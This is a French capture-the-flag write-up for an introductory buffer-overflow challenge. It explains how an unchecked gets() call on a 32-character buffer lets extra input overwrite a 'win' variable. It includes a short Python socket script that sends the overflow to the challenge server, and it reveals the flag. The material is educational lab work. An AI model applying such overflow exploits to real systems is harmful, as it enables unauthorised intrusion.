BOF Intro
Catégorie: Pwn Difficulté: - Flag: CTFREI{buff3r_0v3rfl0w_1ntr0!}
Challenge
Description
Premier challenge d'introduction au pwn, analyse le script en C qui est donné et tente d'avoir le flag !
Connexion: nc intro.ctfrei.fr 7000
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La fonction gets
utilise la variable buffer
pour récupérer notre entrée. La vulnérabilité ici est que ce buffer est un tableau de 32 chars et qu'aucune vérification n'est faite pour limiter notre entrée.
On peut donc envoyer plus de 32 caractères et ceux au-delà du buffer vont écraser les variables suivantes, donc ici la valeur de win
.
En python ça donne :
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('intro.ctfrei.fr', 7000))
sock.recv(2048)
sock.send(b'a' * 33 + b'\n') # On ajoute un retour à la ligne avec \n
print(sock.recv(2048).decode())
# Félicitations ! Voici le flag: CTFREI{buff3r_0v3rfl0w_1ntr0!}
Dernière mise à jour
Cet article vous a-t-il été utile ?